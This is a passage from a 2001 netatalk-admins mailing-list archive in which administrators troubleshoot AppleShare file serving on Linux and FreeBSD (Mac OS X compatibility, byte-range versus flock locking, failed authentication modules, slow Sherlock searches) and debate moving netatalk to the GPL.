Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 19:03:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22271
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 19:03:07 -0500 (EST)
Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA22253
	for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 19:03:05 -0500 (EST)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [24.218.255.161])
	by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id f2T033x19804;
	Wed, 28 Mar 2001 19:03:03 -0500 (EST)
Sender: karelsf@chmls05.mediaone.net
Message-ID: <3AC27BD2.56279624@brandeis.edu>
Date: Wed, 28 Mar 2001 19:03:30 -0500
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk-Admins@umich.edu
CC: Jason Quigley <jasonq@mac.com>
Subject: Re: Mac OS X and netatalk...
References: <200103282351.PAA14003@smtpout.mac.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

ftp://ftp.cobaltnet.com/pub/users/asun/testing/

This (the correct location of asun's stuff on Cobalt's FTP server)
belongs in the FAQ. 

cheers,

steven

Jason Quigley wrote:
> 
> Hi Steven!
> 
> Where do we get the source for this beast?
> 
> Many thanks,
> Jason.
> 
> On Wednesday, March 28, 2001, at 07:08  pm, Steven Karel wrote:
> 
> > 1. Just wanted to concur with Marcus that
> > netatalk-1.4b2+asun2.1.4-pre37b

From netatalk.administrators-errors@umich.edu  Wed Mar 28 19:09:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA28213
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 19:09:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27001
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 19:09:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26995
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 19:09:34 -0500 (EST)
Received: from mta1-rme.xtra.co.nz (mta1-rme.xtra.co.nz [203.96.92.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA26979
	for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 19:09:32 -0500 (EST)
Received: from [192.168.1.112] ([210.54.213.206]) by mta1-rme.xtra.co.nz
          with ESMTP
          id <20010329001154.JZSY4907721.mta1-rme.xtra.co.nz@[192.168.1.112]>;
          Thu, 29 Mar 2001 12:11:54 +1200
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05100902b6e82ae1e07e@[192.168.1.112]>
In-Reply-To: 
 <Pine.LNX.4.30.0103281148510.1947-100000@squirrel.bio.brandeis.edu>
References: 
 <Pine.LNX.4.30.0103281148510.1947-100000@squirrel.bio.brandeis.edu>
Date: Thu, 29 Mar 2001 12:09:23 +1200
To: Steven Karel <karelsf@brandeis.edu>
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: Mac OS X and netatalk...
Cc: <Netatalk-Admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

OK, I originally found that asun2.1.3 was wicked for serving quark 
dox, but when I updated to 214, I started having file locking 
problems with quark (typical). Also seems to happen with 
codewarrior(noted by a friend).
So after reading through asun's notes, I found a section which refers 
to the "old style" of byte locking. Adding the DEF= line and 
recompiling works perfectly. I have over 20 servers in production 
proving that!

Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.

I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit 
snappier than 4K78 (10.0.0), and connecting to these servers shows no 
issues. Confirmed and tested!

(Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it 
comes out (soon), and get Plus for X. It allows you to change Genie 
to scale and other less-CPU-intensive things. Look on versiontracker 
for a link to this)

I still use 1.4b2+asun214-37b because it works. I think I will start 
experimenting with 1.5 soon.

mrad01


At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>1. Just wanted to concur with Marcus that netatalk-1.4b2+asun2.1.4-pre37b
>works fine with the appleshare client in OS X 10.0,.whereas the public
>beta failed horribly . Not all versions of netatalk are that well behaved,
>however. I haven't tested exhaustively, but I do know that 37b works on at
>least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 1.4b2-2.1.3
>seems to work as well.
>
>2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>purpose, although it may help with file locking for other reasons. Marcus,
>if you could be so kind, can you explain for us again what problems it
>solves, and where exactly you recommend setting it? (I added
>-DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>
>README.ASUN says:
>
>
>	byte locks should now work. if you want to enable the old way
>         of doing things, add -DUSE_FLOCK_LOCKS.
>
>
>
>thanks,
>
>stevne
>
>  On Wed, 28
>Mar 2001, Marcus Radich wrote:
>
>>
>>  BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>  long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>  before you compile. I haven't tried 1.5. You can only connect via IP
>>  (great!) and transferring files large and small has worked for me
>>  since 4K46
>>
>>  mrad01
>>



-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Thu Mar 29 07:24:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA13105
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 07:24:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA29825
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 07:24:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA29823
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 07:24:44 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA29818
	for <Netatalk-Admins@umich.edu>; Thu, 29 Mar 2001 07:24:42 -0500 (EST)
Received: by smtpout.mac.com; Thu, 29 Mar 2001 04:18:15 -0800 (PST)
Message-Id: <200103291218.EAA10730@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAYKUF00.6IQ for <Netatalk-Admins@umich.edu>; Thu, 29 Mar
          2001 04:18:15 -0800 
Received: from localhost ([213.97.106.73]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAYKUE00.12B for
          <Netatalk-Admins@umich.edu>; Thu, 29 Mar 2001 04:18:14 -0800 
Date: Thu, 29 Mar 2001 14:18:08 +0200
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Jason Quigley <jasonq@mac.com>
To: <Netatalk-Admins@umich.edu>
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <p05100902b6e82ae1e07e@[192.168.1.112]>
Subject: Re: Mac OS X and netatalk...
Content-Transfer-Encoding: 7bit

Hi everybody!

I got the version that Marcus suggested. I have a problem compiling it 
though. I get an error with the TCP wrappers support for a lib called 
nsl. I searched the web and it was suggested that this lib may not be 
needed on my system (FreeBSD). Is this the case? I compiled without it 
and got the server up and running. It shows up under 9.0.4's chooser and 
10.0.0 seems to think it's there as I get the following error when 
attempting a connection:

Mar 29 14:01:38 vulcan afpd[93813]: uam_load(uams_guest.so): failed to 
load.
Mar 29 14:01:38 vulcan afpd[93813]: uam_load(uams_clrtxt.so): failed to 
load.
Mar 29 14:01:38 vulcan afpd[93813]: uam_load(uams_dhx.so): failed to 
load.

Everything seemed to compile okay. I had to tweak the Makefile a little 
for FreeBSD, i.e. use /usr/ instead of /usr for the OpenSSL libraries.

I am stumped now. Any suggestions?

Many thanks,
Jason.


On Thursday, March 29, 2001, at 02:09  am, Marcus Radich wrote:

> OK, I originally found that asun2.1.3 was wicked for serving quark dox, 
> but when I updated to 214, I started having file locking problems with 
> quark (typical). Also seems to happen with codewarrior(noted by a 
> friend).
> So after reading through asun's notes, I found a section which refers 
> to the "old style" of byte locking. Adding the DEF= line and 
> recompiling works perfectly. I have over 20 servers in production 
> proving that!
>
> Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.
> <snip>
> I still use 1.4b2+asun214-37b because it works. I think I will start 
> experimenting with 1.5 soon.
>
> mrad01
>
>

From netatalk.administrators-errors@umich.edu  Thu Mar 29 10:25:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17448
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 10:25:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15134
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 10:25:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15076
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 10:25:37 -0500 (EST)
Received: from carson.bmpsystems.com (chello212017086074.14.vie.surfer.at [212.17.86.74])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA14975
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 10:25:32 -0500 (EST)
Received: from bmpsystems.com (ponderosa.bmpsystems.com [192.168.217.132])
	by carson.bmpsystems.com (8.9.3/8.9.1) with ESMTP id RAA15956
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 17:25:31 +0200
Message-ID: <3AC353EA.BE8432E3@bmpsystems.com>
Date: Thu, 29 Mar 2001 17:25:30 +0200
From: "Bernard M. Piller" <bernard@bmpsystems.com>
Reply-To: bernard@bmpsystems.com
Organization: bmp System Support - keep your systems running
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: de-AT,en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Sherlock from Mac OS 9 slow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I have a RedHat 6.2 Server running and while the server itself is very fast,
Sherlock is extremly slow when doing searches from Mac OS 9 clients. The
server volumes are large, with about 50GB of data on every drive.

I know there where problems with netatalk not supporting the FPCatSearch
function which Sherlock uses.

Is this fixed in some version of netatalk out there on the net or does
someone know another solution to this problem?

Bernard

-- 
www.bmpsystems.com
 +43 664 336 9196

From netatalk.administrators-errors@umich.edu  Thu Mar 29 10:39:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17834
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 10:39:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00556
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 10:39:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00544
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 10:39:38 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA00456
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 10:39:35 -0500 (EST)
Received: (qmail 30791 invoked by uid 104); 29 Mar 2001 15:39:32 -0000
Received: from cwg-dated-170d36df2dbfca64@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.230947 secs); 29/03/2001 09:39:32
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-170d36df2dbfca64@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 29 Mar 2001 15:39:32 -0000
Received: (qmail 11906 invoked by alias); 29 Mar 2001 15:39:30 -0000
From: "Chris Garrigues" <cwg-dated-170d36df2dbfca64@deepeddy.com>
Received: (qmail 11831 invoked from network); 29 Mar 2001 15:39:29 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 29 Mar 2001 15:39:29 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: Access priviledges in pre5
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1116590128P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 29 Mar 2001 09:39:28 -0600
Message-ID: <11828.985880368@deepeddy.com>
Mail-Reply-To: cwg-dated-170d36df2dbfca64@DeepEddy.Com

--==_Exmh_-1116590128P
Content-Type: text/plain; charset=us-ascii

Does the change suggested in 

	http://sourceforge.net/forum/forum.php?thread_id=87239&forum_id=26981

solve this problem?
-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-1116590128P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6w1cwK9b4h5R0IUIRAkiWAJoDtO6FXHlga0x1+mFax+v5v0Rw5wCfbVx/
W8m0SrbpmsQl+DCOg93Y/c0=
=NTZJ
-----END PGP SIGNATURE-----

--==_Exmh_-1116590128P--

From netatalk.administrators-errors@umich.edu  Thu Mar 29 11:12:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18651
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 11:12:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02707
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 11:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02630
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 11:12:35 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA02567
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 11:12:29 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA04887
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 18:08:26 +0200
Message-ID: <3AC35DFB.347EC063@euc.de>
Date: Thu, 29 Mar 2001 18:08:27 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: clients freezing while copying
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA18651

something strange her...

my try-out of netatalk (version 1.4.99-5 from the Suse 7.1 distr. on an
intel c667)
seemed for the moment ok. Now that I'm testing stability with copying
large amounts
of files (~7.000 files with a total of approx. 200 MB) strange things
are coming up.
the first 500-600 files are going through as expected. After that the
process comes
more and more to a halt. It ends up with the clinet freezing (or nearly
because the
client is so busy trying to copy). When I'm killing the afpd on the
server the
clients' behaviour is normal again. Restarting the afpd and copying
smallamounts of
data is ok until I try to copy again larger numers of files

Yes, I'm only using TCP - no ddp.

I don't think its the network itself (the hardware) because the rst of the
servers are working fine.

Any help would be appreciated (I dont' wanna install another windoze...).

 

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH

From netatalk.administrators-errors@umich.edu  Thu Mar 29 11:19:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18960
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 11:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14113
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 11:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14091
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 11:19:11 -0500 (EST)
Received: from amministrazione.Hyphen.it (smtp.graph-os.it [194.185.169.158])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14036
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 11:19:09 -0500 (EST)
Received: by AMMINISTRAZIONE with Internet Mail Service (5.5.2650.21)
	id <HX8MK849>; Thu, 29 Mar 2001 18:25:19 +0200
Message-ID: <974B0191A4C6D31192D10090279CCC7B321B19@AMMINISTRAZIONE>
From: Scodeller Marco <Scodeller.M@Hyphen-Italia.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject:  Problem with more then one netatalk server
Date: Thu, 29 Mar 2001 18:25:15 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"




> Hello,
> we have problem in using netatalk in the moment that there is more then
> one netatalk server on the same network.
> What happens is that in the chooser of the macintosh you can see and
> connect only one of them.
> How is it possible to solve this problem?
> Regards.
> 
> Scodeller Marco
> HYPHEN- GROUP
> HYPHEN- ITALIA * GRAPH-OS * ANY.COM * KEY ACCESS
> Via A. de Gasperi, 17
> 37013 Caprino Vr.se Verona - Italy
> Phone +39 045 7242446
> Fax +39 045 7242629
> http://www.hyphen-italia.com
> E-mail: scodeller.m@hyphen-italia.com
> 
> 

From netatalk.administrators-errors@umich.edu  Thu Mar 29 11:47:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19606
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 11:47:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16063
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 11:47:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16034
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 11:47:43 -0500 (EST)
Received: from beta.tricity.wsu.edu (beta.tricity.wsu.edu [192.31.216.9])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA15999
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 11:47:40 -0500 (EST)
Received: from localhost (nightstalker.tricity.wsu.edu [192.31.216.23])
	by beta.tricity.wsu.edu (8.9.3/8.9.3) with ESMTP id IAA27105
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 08:47:42 -0800
Message-Id: <200103291647.IAA27105@beta.tricity.wsu.edu>
Date: Thu, 29 Mar 2001 08:47:41 -0800
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v387)
From: Richard Eisenman <richarde@tricity.wsu.edu>
To: Netatalk List <netatalk-admins@umich.edu>
X-Mailer: Apple Mail (2.387)
Content-Transfer-Encoding: 7bit
Subject: Mac OS X and netatalk...

I've gone through several distributions of netatalk (14b2+asun214.0, 
1.5pre5) under Linux 6.2 and still have random problems copying files 
from OS X to the netatalk server.  The error reads:

"The operation cannot be completed because one or more required items 
could not be found." (Error code -43)."

This error comes only with random files, not consistently, and the files 
seem to have nothing in common.  Still looking for suggestions...

Thanks.

From netatalk.administrators-errors@umich.edu  Thu Mar 29 12:43:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA21488
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 12:43:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 12:43:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05796
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 12:43:12 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA05548
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 12:43:03 -0500 (EST)
Received: (qmail 25824 invoked by uid 500); 29 Mar 2001 17:42:44 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15043.29716.365681.813243@h0050da615e79.ne.mediaone.net>
Date: Thu, 29 Mar 2001 12:42:44 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Matthew Geier <matthew@arts.usyd.edu.au>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Another reason to go GPL
In-Reply-To: <3AC187A0.538D7FB7@arts.usyd.edu.au>
References: <B6E637BA.13156%bucky@interaccess.com>
	<3AC187A0.538D7FB7@arts.usyd.edu.au>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Matthew Geier <matthew@arts.usyd.edu.au>
   Date: Wed, 28 Mar 2001 16:41:36 +1000

   "Bruce A. Burdick, Jr." wrote:
   > 
   > A reason not to go GPL: companies will be less likely to assist with
   > development if they can't release their own version without being
   > _compelled_ to give away everything they've done on it.
   > 
   > Perhaps Samba should consider the BSD license.
   > 
   > GPL: please don't.

   One of the samba team posted a counter to that in the samba list this
   morning - GPL stops people from enhancing their own version and
   withholding it from the community . . .

This is not 100% true; as I understand it, you can enhance GPLed code
and keep your modifications proprietary as long as they are only used
in-house.  So only resellers are affected.  And even resellers should be
reassured by the fact that this restriction can work to their benefit:
Their competitors will be able to get the enhancements they sell, but
they will also be able to get any enhancements sold by competitors.  In
the GPL world, resellers couldn't compete on features any more, since
everybody would be selling approximately the same thing, but doesn't the
real money come from support contracts anyway?  And the feature list
might actually grow faster under GPL.

   Of course, this is not a legal opinion, but it is based on having
recently studied Open Source licenses for a commercially-funded project
now getting underway.  We decided to adopt the GNU GPL largely because
it prohibits "taking the code private" and potentially usurping the
active development stream.  And we expect companies to be more willing
to publish their local enhancements knowing that the playing field is
level.

   With that said, I should mention that I am talking about a CAD
application, so we expect the developers and users to come from IC
design shops; we do not expect any resellers.  These companies are not
in the CAD business, so releasing patches is not going to affect their
business, even if it helps their competitors indirectly.  And they can
still keep their locally-developed stuff private, if that is a concern.
I realize that netatalk is in a different situation, since there are
already a number of resellers who are part of the community, and
changing the license would put new constraints on how they do business.

   So, I'm rooting for GPL, but realize that it may not be appropriate.

   My $0.02 (albeit greatly inflated).

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Thu Mar 29 13:12:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA22094
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 13:12:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06264
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 13:12:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05589
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 13:12:22 -0500 (EST)
Received: from esc.standard.k12.ca.us (206-227-4-172.kern.org [206.227.4.172])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA05103
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 13:11:49 -0500 (EST)
Received: from [10.1.1.23] ([10.1.1.23])
	by esc.standard.k12.ca.us (8.10.2/8.10.2) with ESMTP id f2TIBSG08327
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 10:11:29 -0800
Mime-Version: 1.0
X-Sender: jdavis@esc.standard.k12.ca.us (Unverified)
Message-Id: <a05010402b6e929e21e82@[10.1.1.23]>
In-Reply-To: <a05010401b6e16740e97e@[10.1.1.23]>
References: <a05010401b6e16740e97e@[10.1.1.23]>
Date: Thu, 29 Mar 2001 10:10:45 -0800
To: Netatalk Admin <netatalk-admins@umich.edu>
From: Jeff Davis <jdavis@standard.k12.ca.us>
Subject: Re: File & Record Locking?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Ok, I solved my own problem...

It appears that the RPM I had originally installed was compiled using 
flock-locks.  I recompiled from source (1.4.99) without that option 
and the problem appears to be solved.

My understanding is that the flock-locks option is a more 
conservative, file-wide lock, whereas the byte-range locking (which 
appears to be the default behavior) is more of a record-level or 
row-level lock.  Can someone let me know if I am understanding this 
correctly?

Which begs the question why was the RPM packaged with flock-locks?  Hmmm :-/

TIA,

-Jeff

>Has anyone else experienced problems getting file and record locking 
>to play nice?  My particular issue involves the codebase library, 
>but I've seen other posts indicating problems with other database 
>software.  Can anyone shed some light on this for me?  I'm currently 
>using 1.4.99, but am getting ready to try 1.5pre1
>
>Thanks very much,
>
>-Jeff
>--
>
>
>Jefferson K. Davis
>Technology & IS Manager
>Standard School District
>1200 North Chester Ave
>Bakersfield, CA  93308
>661-392-2110

-- 


Jefferson K. Davis
Technology & IS Manager
Standard School District
1200 North Chester Ave
Bakersfield, CA  93308
661-392-2110

From netatalk.administrators-errors@umich.edu  Thu Mar 29 14:44:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA24432
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 14:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA23055
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 14:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA23049
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 14:44:01 -0500 (EST)
